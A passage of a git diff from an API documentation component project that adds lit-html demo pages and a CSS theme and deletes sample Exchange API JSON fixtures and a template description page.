Interactive demo

+

+ This demo lets you preview the API endpoint document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf } = this; + if (!selectedId) { + return html`

Select API operation in the navigation

`; + } + return html` + + + + + + + Edit graph + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} - compact model + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-schema-documentation.html b/demo/api-schema-documentation.html new file mode 100644 index 0000000..33f9898 --- /dev/null +++ b/demo/api-schema-documentation.html @@ -0,0 +1,16 @@ + + + + + + + AMF Schema Documentation + + + + +
+ + + + diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js new file mode 100644 index 0000000..28945c2 --- /dev/null +++ b/demo/api-schema-documentation.js @@ -0,0 +1,95 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@api-components/api-navigation/api-navigation.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-schema-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'forceExamples', + ]); + this.selectedId = undefined; + this.selectedType = undefined; + this.forceExamples = true; + this.componentName = 'api-schema-document'; + this.typesOpened = true; + this.endpointsOpened = false; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'type') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + contentTemplate() { + return html` +

API schema

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API endpoint document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf, forceExamples } = this; + if (!selectedId) { + return html`

Select API documentation in the navigation

`; + } + return html` + + + + + + Force examples + + + `; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-security-documentation.html b/demo/api-security-documentation.html new file mode 100644 index 0000000..61d7b8a --- /dev/null +++ b/demo/api-security-documentation.html @@ -0,0 +1,16 @@ + + + + + + + AMF Security Documentation + + + + +
+ + + + diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js new file mode 100644 index 0000000..1ab1733 --- /dev/null +++ b/demo/api-security-documentation.js @@ -0,0 +1,115 @@ +/* eslint-disable lit-a11y/click-events-have-key-events */ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-security-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'settingsOpened', + ]); + this.renderViewControls = true; + this.selectedId = undefined; + this.selectedType = undefined; + this.settingsOpened = true; + this.componentName = 'api-security-document'; + this.securityOpened = true; + this.endpointsOpened = false; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'security') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + contentTemplate() { + return html` +

API security

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API security document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf, settingsOpened } = this; + if (!selectedId) { + return html`

Select API documentation in the navigation

`; + } + return html` + + + + + + + Settings opened + + + `; + } + + _apiListTemplate() { + const result = []; + + [ + ['demo-api', 'Demo API'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} - compact model + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/apis.json b/demo/apis.json deleted file mode 100644 index 718851d..0000000 --- a/demo/apis.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "demo-api/demo-api.raml": "RAML 1.0", - "array-body/array-body.raml": "RAML 1.0", - "appian-api/appian-api.raml": "RAML 1.0", - "nexmo-sms-api/nexmo-sms-api.raml": "RAML 1.0", - "APIC-15/APIC-15.raml": "RAML 1.0", - "oauth1-fragment/oauth1-fragment.raml": "RAML 1.0", - "oauth2-fragment/oauth2-fragment.raml": "RAML 1.0", - "type-fragment/type-fragment.raml": "RAML 1.0", - "documentation-fragment/documentation-fragment.raml": "RAML 1.0", - "lib-fragment/lib-fragment.raml": "RAML 1.0", - "example-fragment/example-fragment.raml": "RAML 1.0", - "SE-10469/SE-10469.raml": "RAML 1.0", - "SE-11415/SE-11415.raml": "RAML 1.0", - "APIC-390/APIC-390.raml": "RAML 1.0", - "exchange-experience-api/exchange-experience-api.raml": "RAML 0.8", - "google-drive-api/google-drive-api.raml": "RAML 1.0", - "multi-server/multi-server.yaml": { "type": "OAS 3.0", "mime": "application/yaml" }, - "async-api/async-api.yaml": "ASYNC 2.0", - "APIC-711/APIC-711.raml": "RAML 1.0" -} diff --git a/demo/demo.css b/demo/demo.css new file mode 100644 index 0000000..16c8f91 --- /dev/null +++ b/demo/demo.css @@ -0,0 +1,112 @@ +body [role="main"].centered { + max-width: 1900px; +} + +.api-demo-content { + display: flex; +} + +.api-demo-content arc-interactive-demo { + flex: 1; +} + +.api-demo-content api-navigation { + width: 360px; + margin-right: 24px; +} + +[slot="content"] { + flex: 1; + align-self: start; + margin: 20px; +} + +body.demo.styled { + color: #000; + --error-color: red; + --primary-text-color: #000; + --primary-color: #e91e63; + --primary-background-color: #ffffff; + --dark-divider-opacity: 0.12; + --anypoint-button-emphasis-high-background-color: var(--accent-color); + --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4); + + --arc-font-body1-font-size: 1rem; + + --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace; + + /* HTTP method colors */ + --http-get-color: #008000; + --http-post-color: #2196F3; + --http-put-color: #FFA500; + --http-patch-color: #9C27B0; + --http-delete-color: #F44336; + --http-options-color: rgba(128, 128, 128, 0.74); + --http-head-color: rgba(128, 128, 128, 0.74); + --http-connect-color: rgba(128, 128, 128, 0.74); + --http-trace-color: rgba(128, 128, 128, 0.74); + --http-method-label-get-background-color: var(--http-get-color); + --http-method-label-get-color: #fff; + --http-method-label-post-background-color: var(--http-post-color); + --http-method-label-post-color: #fff; + --http-method-label-put-background-color: var(--http-put-color); + --http-method-label-put-color: #000; + --http-method-label-delete-background-color: var(--http-delete-color); + --http-method-label-delete-color: #fff; + --http-method-label-options-background-color: var(--http-options-color); + --http-method-label-options-background-color: var(--primary-text-color); + --http-method-label-head-background-color: var(--http-head-color); + --http-method-label-head-color: var(--primary-text-color); + --http-method-label-patch-background-color: var(--http-patch-color); + --http-method-label-patch-color: #fff; + + --anypoint-tabs-selection-bar-color: var(--primary-color); +} + +body.demo.styled.dark { + --primary-color: #ffcc80; + --primary-text-color: #fff; + --accent-color: #E040FB; + --secondary-text-color: rgba(255, 255, 255, 0.84); + --primary-background-color: #212121; + --secondary-background-color: #313131; + --error-color: #ff9090; + --link-color: #8bc34a; + --input-background-color: var(--primary-background-color); + --active-background-color: #616161; + + --anypoint-input-background-color: var(--input-background-color); + --anypoint-input-label-color: var(--primary-text-color); + --anypoint-input-input-color: var(--primary-text-color); + --anypoint-input-border-bottom-color: var(--primary-text-color); + --anypoint-input-focused-border-bottom-color: var(--primary-text-color); + --anypoint-input-label-background-color: rgb(66, 66, 66); + --anypoint-input-legacy-focus-background-color: #3a3b3c; + --anypoint-input-legacy-focus-border-color: #178bea; + --anypoint-input-info-message-color: var(--primary-text-color); + + /* HTTP method colors */ + --http-get-color: #c6f68d; + --http-post-color: #b39afd; + --http-put-color: #ffc77d; + --http-patch-color: #f186c0; + --http-delete-color: #FF5252; + --http-options-color: rgba(128, 128, 128, 0.74); + --http-head-color: rgba(128, 128, 128, 0.74); + --http-connect-color: rgba(128, 128, 128, 0.74); + --http-trace-color: rgba(128, 128, 128, 0.74); + --http-method-label-get-background-color: var(--http-get-color); + --http-method-label-get-color: #000; + --http-method-label-post-background-color: var(--http-post-color); + --http-method-label-post-color: #000; + --http-method-label-put-background-color: var(--http-put-color); + --http-method-label-put-color: #000; + --http-method-label-delete-background-color: var(--http-delete-color); + --http-method-label-delete-color: #000; + --http-method-label-options-background-color: var(--http-options-color); + --http-method-label-options-background-color: var(--primary-text-color); + --http-method-label-head-background-color: var(--http-head-color); + --http-method-label-head-color: var(--primary-text-color); + --http-method-label-patch-background-color: var(--http-patch-color); + --http-method-label-patch-color: #000; +} diff --git a/demo/exchange-experience-api/examples/API-instance.json b/demo/exchange-experience-api/examples/API-instance.json deleted file mode 100644 index 062132d..0000000 --- a/demo/exchange-experience-api/examples/API-instance.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "id": "3defc266-c001-431c-88d2-7cc83928efca", - "groupId": "com.mulesoft", - "assetId": "salesforce", - "productApiVersion": "v1", - "environmentId": "1234", - "name": "Instance name", - "endpointUri": "https://www.yes.com/dog", - "createdBy": "e1dd88f8-dG6e-4443-93a1-bd074603e118", - "createdDate": "2017-09-22T19:26:00.815Z", - "updatedDate": "2017-09-22T19:26:00.815Z", - "isPublic": true, - "type": "external" -} diff --git a/demo/exchange-experience-api/examples/asset-users.json b/demo/exchange-experience-api/examples/asset-users.json deleted file mode 100644 index 8197602..0000000 --- a/demo/exchange-experience-api/examples/asset-users.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "username": "fredy", - "firstName": "Fred", - "lastName": "Sanchez", - "profilePhoto": "http://my-photos.com/fredy.jpg", - "email": "fredy@wash.com", - "role": "admin" - } -] diff --git a/demo/exchange-experience-api/examples/asset.json b/demo/exchange-experience-api/examples/asset.json deleted file mode 100644 index c447416..0000000 --- a/demo/exchange-experience-api/examples/asset.json +++ /dev/null @@ -1,157 +0,0 @@ -{ - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "isPublic": false, - "productAPIVersion": "v1", - "description": "My connector test description", - "name": "My Anypoint Connector", - "type": "connector", - "createdAt": "2017-01-25T19:36:45.654Z", - "modifiedAt": "2017-01-25T19:36:45.654Z", - "runtimeVersion": "v1", - "assetLink": "http://www.racing.com.ar", - "icon": "http://www.icon.com.ar", - "status": "published", - "rating": 3.5, - "numberOfRates": 2, - "versions": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "muleVersionId": "3.7" - }, - { - "id": "org.mule.modules/Test-connector-1/2.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "2.0.0", - "muleVersionId": "3.7" - } - ], - "tags": [ - { - "key": "Mule", - "value": "Connetor", - "mutable": true - }, - { - "key": "Tech", - "value": "Database", - "mutable": true - } - ], - "dependencies": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "type": "extension", - "name": "Mule App" - } - ], - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "instances": [ - { - "id": "mocking-service", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "productAPIVersion": "v1", - "version": "1.0.0", - "environmentId": "id", - "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "name": "Mocking Service", - "isPublic": true, - "type": "mocked", - "fullname": "Mocking Service" - } - ], - "productAPIVersions": [ - { - "productAPIVersion": "v1", - "versions": [ - { - "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "version": "1.0.0", - "organization": { - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4" - }, - "status": "published", - "isPublic": false, - "createdAt": "2017-11-15T14:45:58.962Z", - "assetLink": "", - "runtimeVersion": "", - "productAPIVersion": "v1", - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "type": "rest-api" - } - ] - } - ], - "metadata": { - "productApiVersion": "v1" - }, - "createdBy": { - "id": "22222a22-2222-22a2-a2aa-2222222222aa", - "firstName": "Charlie", - "lastName": "Brown", - "userName": "Char" - }, - "permissions": [ - "admin", - "edit" - ], - "organization": { - "name": "AGW", - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4", - "createdAt": "2017-09-01T19:05:53.528Z", - "updatedAt": "2017-11-01T16:56:04.797Z", - "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3", - "clientId": "a1e5d79e5bf3482fa22e90825b92142c", - "domain": "mulesoft-inc", - "idprovider_id": "mulesoft", - "isFederated": false, - "parentOrganizationIds": [ - "f0c9b011-980e-4928-9430-e60e3a97c043" - ], - "subOrganizationIds": [], - "tenantOrganizationIds": [], - "isMaster": false - } -} diff --git a/demo/exchange-experience-api/examples/assetStatus.json b/demo/exchange-experience-api/examples/assetStatus.json deleted file mode 100644 index 987d490..0000000 --- a/demo/exchange-experience-api/examples/assetStatus.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "status": "published" -} diff --git a/demo/exchange-experience-api/examples/assets.json b/demo/exchange-experience-api/examples/assets.json deleted file mode 100644 index 6f17f3e..0000000 --- a/demo/exchange-experience-api/examples/assets.json +++ /dev/null @@ -1,159 +0,0 @@ -[ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "isPublic": false, - "productAPIVersion": "v1", - "description": "My connector test description", - "name": "My Anypoint Connector", - "type": "connector", - "createdAt": "2017-01-25T19:36:45.654Z", - "modifiedAt": "2017-01-25T19:36:45.654Z", - "runtimeVersion": "v1", - "assetLink": "http://www.racing.com.ar", - "icon": "http://www.icon.com.ar", - "status": "published", - "rating": 3.5, - "numberOfRates": 2, - "versions": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "muleVersionId": "3.7" - }, - { - "id": "org.mule.modules/Test-connector-1/2.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "2.0.0", - "muleVersionId": "3.7" - } - ], - "tags": [ - { - "key": "Mule", - "value": "Connetor", - "mutable": true - }, - { - "key": "Tech", - "value": "Database", - "mutable": true - } - ], - "dependencies": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "type": "extension", - "name": "Mule App" - } - ], - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "instances": [ - { - "id": "mocking-service", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "productAPIVersion": "v1", - "version": "1.0.0", - "environmentId": "id", - "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "name": "Mocking Service", - "isPublic": true, - "type": "mocked", - "fullname": "Mocking Service" - } - ], - "productAPIVersions": [ - { - "productAPIVersion": "v1", - "versions": [ - { - "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "version": "1.0.0", - "organization": { - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4" - }, - "status": "published", - "isPublic": false, - "createdAt": "2017-11-15T14:45:58.962Z", - "assetLink": "", - "runtimeVersion": "", - "productAPIVersion": "v1", - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "type": "rest-api" - } - ] - } - ], - "metadata": { - "productApiVersion": "v1" - }, - "createdBy": { - "id": "22222a22-2222-22a2-a2aa-2222222222aa", - "firstName": "Charlie", - "lastName": "Brown", - "userName": "Char" - }, - "permissions": [ - "admin", - "edit" - ], - "organization": { - "name": "AGW", - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4", - "createdAt": "2017-09-01T19:05:53.528Z", - "updatedAt": "2017-11-01T16:56:04.797Z", - "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3", - "clientId": "a1e5d79e5bf3482fa22e90825b92142c", - "domain": "mulesoft-inc", - "idprovider_id": "mulesoft", - "isFederated": false, - "parentOrganizationIds": [ - "f0c9b011-980e-4928-9430-e60e3a97c043" - ], - "subOrganizationIds": [], - "tenantOrganizationIds": [], - "isMaster": false - } - } -] diff --git a/demo/exchange-experience-api/examples/assign-users.json b/demo/exchange-experience-api/examples/assign-users.json deleted file mode 100644 index 48c6cf7..0000000 --- a/demo/exchange-experience-api/examples/assign-users.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "userId": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "role": "admin" - } -] diff --git a/demo/exchange-experience-api/examples/client-applications.json b/demo/exchange-experience-api/examples/client-applications.json deleted file mode 100644 index f80350b..0000000 --- a/demo/exchange-experience-api/examples/client-applications.json +++ /dev/null @@ -1,41 +0,0 @@ -[ - { - "masterOrganizationId": "40fbc081-bb0d-4aff-9fb7-f3a48fdeb958", - "id": 1, - "name": "The Amazing Application", - "description": "This is the description of The Amazing Application", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "contract": { - "id": 35885, - "status": "APPROVED", - "tier": { - "id": 1234, - "name": "Gold", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 60000, - "maximumRequests": 1000 - }, - { - "maximumRequests": 20000, - "timePeriodInMilliseconds": 3600000 - } - ], - "status": "ACTIVE" - } - } - } -] diff --git a/demo/exchange-experience-api/examples/contracts.json b/demo/exchange-experience-api/examples/contracts.json deleted file mode 100644 index 66b275a..0000000 --- a/demo/exchange-experience-api/examples/contracts.json +++ /dev/null @@ -1,36 +0,0 @@ -[ - { - "id": 36444, - "status": "PENDING", - "requestedTier": { - "description": null, - "id": 14939, - "limits": [ - { - "maximumRequests": 1000, - "timePeriodInMilliseconds": 60000 - }, - { - "maximumRequests": 20000, - "timePeriodInMilliseconds": 3600000 - } - ], - "name": "Gold" - } - }, - { - "id": 13765, - "status": "APPROVED", - "tier": { - "description": null, - "id": 5770, - "limits": [ - { - "maximumRequests": 5, - "timePeriodInMilliseconds": 60000 - } - ], - "name": "Silver" - } - } -] diff --git a/demo/exchange-experience-api/examples/file.json b/demo/exchange-experience-api/examples/file.json deleted file mode 100644 index 8de566f..0000000 --- a/demo/exchange-experience-api/examples/file.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "key": "my-file", - "url": "http://my-file" -} diff --git a/demo/exchange-experience-api/examples/get-client-application-response.json b/demo/exchange-experience-api/examples/get-client-application-response.json deleted file mode 100644 index acb239e..0000000 --- a/demo/exchange-experience-api/examples/get-client-application-response.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "id": 59453, - "name": "TestRequestAPIAccess", - "description": "TestRequestAPIAccess description", - "url": "http://localhost:8080", - "redirectUri": ["http://localhost:9090"], - "clientId": "904ca48597f54f6a9ed98ab9f4bcbb85", - "clientSecret": "2D1921aEbC6847D1ADc329603E4c5dC1", - "masterOrganizationId": "68ef9520-24e9-4cf2-b2f5-620025690913", - "grantTypes": [] -} diff --git a/demo/exchange-experience-api/examples/health-response.json b/demo/exchange-experience-api/examples/health-response.json deleted file mode 100644 index 0ee51de..0000000 --- a/demo/exchange-experience-api/examples/health-response.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "status": "ok", - "dependencies": [ - { - "name": "Asset Portal Service", - "code": "portal-service", - "description": "The Asset Portal Service Dependency", - "status": "ok" - }, - { - "name": "Graph Service", - "code": "graph-service", - "description": "The Graph Service Dependency", - "status": "ok" - }, - { - "name": "CS Service", - "code": "cs-service", - "description": "The CS Service Dependency", - "status": "ok" - }, - { - "name": "Asset review Service", - "code": "asset-review-service", - "description": "The Asset Review Service Dependency", - "status": "ok" - }, - { - "name": "Asset Manager Service", - "code": "asset-manager-service", - "description": "The Asset Manager Service Dependency", - "status": "ok" - }, - { - "name": "Dependency Resolver Service", - "code": "dependency-resolver", - "description": "The Dependency Resolver Service Dependency", - "status": "ok" - }, - { - "name": "API Metadata Service", - "code": "api-metadata", - "description": "The API Metadata Service Dependency", - "status": "ok" - }, - { - "name": "Search Service", - "code": "search", - "description": "The Search Service Dependency", - "status": "ok" - } - ] -} diff --git a/demo/exchange-experience-api/examples/page.d.ts b/demo/exchange-experience-api/examples/page.d.ts deleted file mode 100644 index 61e203e..0000000 --- a/demo/exchange-experience-api/examples/page.d.ts +++ /dev/null @@ -1,13 +0,0 @@ -/** - * DO NOT EDIT - * - * This file was automatically generated by - * https://github.com/Polymer/tools/tree/master/packages/gen-typescript-declarations - * - * To modify these typings, edit the source file(s): - * demo/exchange-experience-api/examples/page.html - */ - - -// tslint:disable:variable-name Describing an API that's defined elsewhere. - diff --git a/demo/exchange-experience-api/examples/page.html b/demo/exchange-experience-api/examples/page.html deleted file mode 100644 index 6e2851f..0000000 --- a/demo/exchange-experience-api/examples/page.html +++ /dev/null @@ -1,14 +0,0 @@ -

- Salesforce to Salesforce, Workday, SAP and Database Account Broadcast -

-

- - Real time synchronization of accounts from one Salesforce org to another as well as a Workday HCM instance, an SAP instance and a Database using a non-persistent JMS topic. - -

-

- Description -

-

- This Anypoint Template should serve as a foundation for setting an online sync of accounts from a Salesforce instance to many destination systems, using the Publish-subscribe pattern. Every time there is a new account or a change in an already existing one, the integration will poll for changes in the Salesforce source Org, publish the changes to a JMS topic and each subscriber will be responsible for updating the accounts in the target systems.\n\nThe application has two different batch jobs consuming this JMS topic, one for migrating the changes to the second Salesforce Org and the other one for migrating the changes to the Database. During the Process stage, each Salesforce account will be matched with an existing account in the Salesforce Org B or the Database by Name. The last step of the Process stage will group the accounts and create/update them in Salesforce Org B.\n\nFinally during the On Complete stage the Anypoint Template will log output statistics data into the console.\n\nRead more about the Publish-Subscribe pattern in this blog post -

diff --git a/demo/exchange-experience-api/examples/page.json b/demo/exchange-experience-api/examples/page.json deleted file mode 100644 index 1316410..0000000 --- a/demo/exchange-experience-api/examples/page.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "path": "home", - "name": "Home page" -} diff --git a/demo/exchange-experience-api/examples/page.md b/demo/exchange-experience-api/examples/page.md deleted file mode 100644 index 88a4418..0000000 --- a/demo/exchange-experience-api/examples/page.md +++ /dev/null @@ -1,13 +0,0 @@ -# Salesforce to Salesforce, Workday, SAP and Database Account Broadcast - -_Real time synchronization of accounts from one Salesforce org to another as well as a Workday HCM instance, an SAP instance and a Database using a non-persistent JMS topic._ - -## Description - -This Anypoint Template should serve as a foundation for setting an online sync of accounts from a Salesforce instance to many destination systems, using the Publish-subscribe pattern. Every time there is a new account or a change in an already existing one, the integration will poll for changes in the Salesforce source Org, publish the changes to a JMS topic and each subscriber will be responsible for updating the accounts in the target systems. - -The application has two different batch jobs consuming this JMS topic, one for migrating the changes to the second Salesforce Org and the other one for migrating the changes to the Database. During the Process stage, each Salesforce account will be matched with an existing account in the 